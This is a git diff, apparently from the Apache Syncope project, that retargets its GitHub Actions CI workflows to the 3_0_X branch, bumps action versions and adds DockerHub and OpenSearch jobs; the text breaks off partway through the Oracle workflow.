diff --git a/.asf.yaml b/.asf.yaml index 3b0662d64b8..632495fb372 100644 --- a/.asf.yaml +++ b/.asf.yaml @@ -22,17 +22,18 @@ github: - request-routing - service-mesh - microservices + dependabot_alerts: false + dependabot_updates: true enabled_merge_buttons: - # enable squash button: - squash: true - # enable merge button: - merge: false - # disable rebase button: - rebase: true + squash: true + squash_commit_message: PR_TITLE + merge: false + rebase: true - notifications: - commits: commits@syncope.apache.org - issues: dev@syncope.apache.org - pullrequests_status: dev@syncope.apache.org - pullrequests_comment: dev@syncope.apache.org - jira_options: link label worklog +notifications: + commits: commits@syncope.apache.org + issues: dev@syncope.apache.org + pullrequests_status: dev@syncope.apache.org + pullrequests_comment: dev@syncope.apache.org + pullrequests_bot_dependabot: dev@syncope.apache.org + jira_options: link label worklog diff --git a/.github/dependabot.yml b/.github/dependabot.yml deleted file mode 100644 index 779056e11be..00000000000 --- a/.github/dependabot.yml +++ /dev/null @@ -1,22 +0,0 @@ -# Licensed to the Apache Software Foundation (ASF) under one -# or more contributor license agreements. See the NOTICE file -# distributed with this work for additional information -# regarding copyright ownership. The ASF licenses this file -# to you under the Apache License, Version 2.0 (the -# "License"); you may not use this file except in compliance -# with the License. You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, -# software distributed under the License is distributed on an -# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY -# KIND, either express or implied. See the License for the -# specific language governing permissions and limitations -# under the License -version: 2 -updates: - - package-ecosystem: "github-actions" - directory: "/" - schedule: - interval: "weekly" diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml index d9e36d2eb21..d9d8950afc7 100644 --- a/.github/workflows/codeql-analysis.yml +++ b/.github/workflows/codeql-analysis.yml @@ -18,10 +18,10 @@ name: "CodeQL" on: push: - branches: [master,2_1_X,pr-*] + branches: [3_0_X,pr-*] pull_request: # The branches below must be a subset of the branches above - branches: [master,2_1_X] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -29,6 +29,10 @@ jobs: analyze: name: Analyze runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write strategy: fail-fast: false @@ -41,21 +45,26 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@v2 + uses: github/codeql-action/init@v4 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. @@ -80,4 +89,4 @@ jobs: mvn -T 1C -PskipTests,all - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v1 + uses: github/codeql-action/analyze@v4 diff --git a/.github/workflows/crosschecks.yml b/.github/workflows/crosschecks.yml index 0c821532693..e0a562802da 100644 --- a/.github/workflows/crosschecks.yml +++ b/.github/workflows/crosschecks.yml @@ -18,10 +18,10 @@ name: "Cross Checks" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -38,17 +38,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: ${{ matrix.java }} - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: Validate diff --git a/.github/workflows/dockerhub.yml b/.github/workflows/dockerhub.yml new file mode 100644 index 00000000000..37d071f7f10 --- /dev/null +++ b/.github/workflows/dockerhub.yml @@ -0,0 +1,75 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License +name: "Push to DockerHub" + +on: + push: + branches: + - 3_0_X + +jobs: + push2DockerHub: + runs-on: ubuntu-latest + + steps: + - name: Disk space before + run: df . -h + - name: Free disk space + run: | + sudo docker rmi $(docker image ls -aq) >/dev/null 2>&1 || true + sudo rm -rf /usr/share/dotnet/ /usr/local/graalvm/ /usr/local/.ghcup/ \ + /usr/local/share/powershell /usr/local/share/chromium /usr/local/share/boost \ + /usr/local/lib/android /usr/local/lib/node_modules /opt/hostedtoolcache/CodeQL \ + /opt/ghc /usr/local/.ghcup || true + echo "some directories deleted" + sudo apt-get remove --purge -y google-chrome-stable >/dev/null 2>&1 || true + sudo apt-get remove --purge -y microsoft-edge-stable >/dev/null 2>&1 || true + sudo apt-get remove --purge -y firefox >/dev/null 2>&1 || true + sudo apt-get remove --purge -y '^dotnet-.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y '^llvm-.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y 'php.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y '^mongodb-.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y '^mysql-.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y '^postgresql-.*' >/dev/null 2>&1 || true + sudo apt-get remove --purge -y temurin-* >/dev/null 2>&1 || true + sudo apt-get remove --purge -y azure-cli google-cloud-cli* powershell >/dev/null 2>&1 || true + sudo apt-get autoremove -y + sudo apt-get autoclean -y + echo "some packages purged" + - name: Disk space after + run: df . -h + - name: Checkout repository + uses: actions/checkout@v6 + - name: Setup Java JDK + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: 11 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- + - name: Build + run: mvn -U -T 1C -P 'skipTests,all,docker' + - name: 'Push to DockerHub' + run: mvn -f docker/pom.xml docker:push -Ddocker.username=${{secrets.DOCKERHUB_USER}} -Ddocker.password=${{secrets.DOCKERHUB_TOKEN}} diff --git a/.github/workflows/fit_Elasticsearch.yml b/.github/workflows/fit_Elasticsearch.yml index 6ff57c89b94..67fd89e399b 100644 --- a/.github/workflows/fit_Elasticsearch.yml +++ b/.github/workflows/fit_Elasticsearch.yml @@ -18,10 +18,10 @@ name: "FIT Elasticsearch" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Elasticsearch / H2 / JSON' diff --git a/.github/workflows/fit_OpenSearch.yml b/.github/workflows/fit_OpenSearch.yml new file mode 100644 index 00000000000..7a51f565312 --- /dev/null +++ b/.github/workflows/fit_OpenSearch.yml @@ -0,0 +1,53 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License +name: "FIT OpenSearch" + +on: + push: + branches: ['3_0_X', 'pr-*'] + pull_request: + # The branches below must be a subset of the branches above + branches: [3_0_X] + schedule: + - cron: '0 13 * * 4' + +jobs: + fit_OpenSearch: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Setup Java JDK + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: 11 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- + - name: Build + run: mvn -U -T 1C -P 'skipTests,all' + - name: 'OpenSearch / H2 / JSON' + run: mvn -f fit/core-reference/pom.xml -P opensearch-it -Dinvoker.streamLogs=true -Dmodernizer.skip=true -Drat.skip=true -Dcheckstyle.skip=true -Djacoco.skip=true diff --git a/.github/workflows/fit_Payara.yml b/.github/workflows/fit_Payara.yml index 903ad3e6355..843a19cfbd1 100644 --- a/.github/workflows/fit_Payara.yml +++ b/.github/workflows/fit_Payara.yml @@ -18,10 +18,10 @@ name: "FIT Payara" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Payara / H2 / JSON' diff --git a/.github/workflows/fit_Tomcat_H2_JSON.yml b/.github/workflows/fit_Tomcat_H2_JSON.yml index 546f00d0709..35205ed479e 100644 --- a/.github/workflows/fit_Tomcat_H2_JSON.yml +++ b/.github/workflows/fit_Tomcat_H2_JSON.yml @@ -18,10 +18,10 @@ name: "FIT Tomcat H2 JSON" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Tomcat / H2 / JSON' diff --git a/.github/workflows/fit_Tomcat_H2_XML.yml b/.github/workflows/fit_Tomcat_H2_XML.yml index 4482ce97d06..5eeadd14d97 100644 --- a/.github/workflows/fit_Tomcat_H2_XML.yml +++ b/.github/workflows/fit_Tomcat_H2_XML.yml @@ -18,10 +18,10 @@ name: "FIT Tomcat H2 XML" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Tomcat / H2 / XML' diff --git a/.github/workflows/fit_Tomcat_H2_YAML.yml b/.github/workflows/fit_Tomcat_H2_YAML.yml index 141b74c91ab..5334f9d4b8b 100644 --- a/.github/workflows/fit_Tomcat_H2_YAML.yml +++ b/.github/workflows/fit_Tomcat_H2_YAML.yml @@ -18,10 +18,10 @@ name: "FIT Tomcat H2 YAML" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Tomcat / H2 / YAML' diff --git a/.github/workflows/fit_WA_SAML2PS4UI_OIDCC4UI.yml b/.github/workflows/fit_WA_SAML2PS4UI_OIDCC4UI.yml index 76d97855c5f..6d5e96e2523 100644 --- a/.github/workflows/fit_WA_SAML2PS4UI_OIDCC4UI.yml +++ b/.github/workflows/fit_WA_SAML2PS4UI_OIDCC4UI.yml @@ -18,10 +18,10 @@ name: "FIT WA SAML2SP4UI OIDCC4UI" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'WA / SAML2SP4UI, OIDCC4UI' diff --git a/.github/workflows/fit_WA_SRA_CASClient.yml b/.github/workflows/fit_WA_SRA_CASClient.yml index 3ba99446c0e..51e398012eb 100644 --- a/.github/workflows/fit_WA_SRA_CASClient.yml +++ b/.github/workflows/fit_WA_SRA_CASClient.yml @@ -18,10 +18,10 @@ name: "FIT WA SRA CASClient" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,20 +31,23 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' -# - name: Setup tmate session -# uses: mxschmitt/action-tmate@v3 - name: 'WA / SRA / CAS Client' run: mvn -f fit/wa-reference/pom.xml verify -Dinvoker.streamLogs=true -Dmodernizer.skip=true -Drat.skip=true -Dcheckstyle.skip=true -Djacoco.skip=true -Dit.test=org.apache.syncope.fit.sra.CASSRAITCase diff --git a/.github/workflows/fit_WA_SRA_OAuth2.yml b/.github/workflows/fit_WA_SRA_OAuth2.yml index de0ec2f0f87..67a1a745e75 100644 --- a/.github/workflows/fit_WA_SRA_OAuth2.yml +++ b/.github/workflows/fit_WA_SRA_OAuth2.yml @@ -18,10 +18,10 @@ name: "FIT WA SRA OAuth2" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'WA / SRA / OAuth 2.0' diff --git a/.github/workflows/fit_WA_SRA_OIDC.yml b/.github/workflows/fit_WA_SRA_OIDC.yml index 11a2e4941a5..ab74d103e31 100644 --- a/.github/workflows/fit_WA_SRA_OIDC.yml +++ b/.github/workflows/fit_WA_SRA_OIDC.yml @@ -18,10 +18,10 @@ name: "FIT WA SRA OIDC" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'WA / SRA / OpenID Connect 1.0' diff --git a/.github/workflows/fit_WA_SRA_SAML2.yml b/.github/workflows/fit_WA_SRA_SAML2.yml index b2a013fe99f..838c36dae2f 100644 --- a/.github/workflows/fit_WA_SRA_SAML2.yml +++ b/.github/workflows/fit_WA_SRA_SAML2.yml @@ -18,10 +18,10 @@ name: "FIT WA SRA SAML2" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'WA / SRA / SAML 2.0' diff --git a/.github/workflows/fit_Wildfly.yml b/.github/workflows/fit_Wildfly.yml index 3e8fb0d0270..c5227aa839e 100644 --- a/.github/workflows/fit_Wildfly.yml +++ b/.github/workflows/fit_Wildfly.yml @@ -18,10 +18,10 @@ name: "FIT Wildfly" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Wildfly / H2 / JSON' diff --git a/.github/workflows/fit_Zookeeper.yml b/.github/workflows/fit_Zookeeper.yml index 27c7139b13c..f70bbcc5d4d 100644 --- a/.github/workflows/fit_Zookeeper.yml +++ b/.github/workflows/fit_Zookeeper.yml @@ -18,10 +18,10 @@ name: "FIT Zookeeper" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Zookeeper / H2 / JSON' diff --git a/.github/workflows/mariadb.yml b/.github/workflows/mariadb.yml index 62f514b8b8d..d02a6dcf21a 100644 --- a/.github/workflows/mariadb.yml +++ b/.github/workflows/mariadb.yml @@ -18,10 +18,10 @@ name: "MariaDB" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,18 +31,51 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Integration Tests: MariaDB' run: mvn -f fit/core-reference/pom.xml -P mariadb-it -Dinvoker.streamLogs=true -Dmodernizer.skip=true -Drat.skip=true -Dcheckstyle.skip=true -Djacoco.skip=true + + majson: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v6 + - name: Setup Java JDK + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: 11 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- + - name: Build + run: mvn -U -T 1C -P 'skipTests,all' + - name: 'Unit Tests: MariaDB JPA JSON' + run: mvn -f core/persistence-jpa-json/pom.xml -P majson -Dinvoker.streamLogs=true -Dmodernizer.skip=true -Dianal.phase=none -Drat.skip=true -Dcheckstyle.skip=true -Djacoco.skip=true + - name: 'Integration Tests: MariaDB JPA JSON' + run: mvn -f fit/core-reference/pom.xml -P majson-it -Dinvoker.streamLogs=true -Dmodernizer.skip=true -Drat.skip=true -Dcheckstyle.skip=true -Djacoco.skip=true diff --git a/.github/workflows/mysql.yml b/.github/workflows/mysql.yml index 4e31b234edf..12f3ba9ee62 100644 --- a/.github/workflows/mysql.yml +++ b/.github/workflows/mysql.yml @@ -18,10 +18,10 @@ name: "MySQL" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Integration Tests: MySQL' @@ -52,17 +57,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: - distribution: 'zulu' + distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Unit Tests: MySQL JPA JSON' diff --git a/.github/workflows/oracle.yml b/.github/workflows/oracle.yml index 3b4cd1f3f35..af08ebec242 100644 --- a/.github/workflows/oracle.yml +++ b/.github/workflows/oracle.yml @@ -18,10 +18,10 @@ name: "Oracle" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ 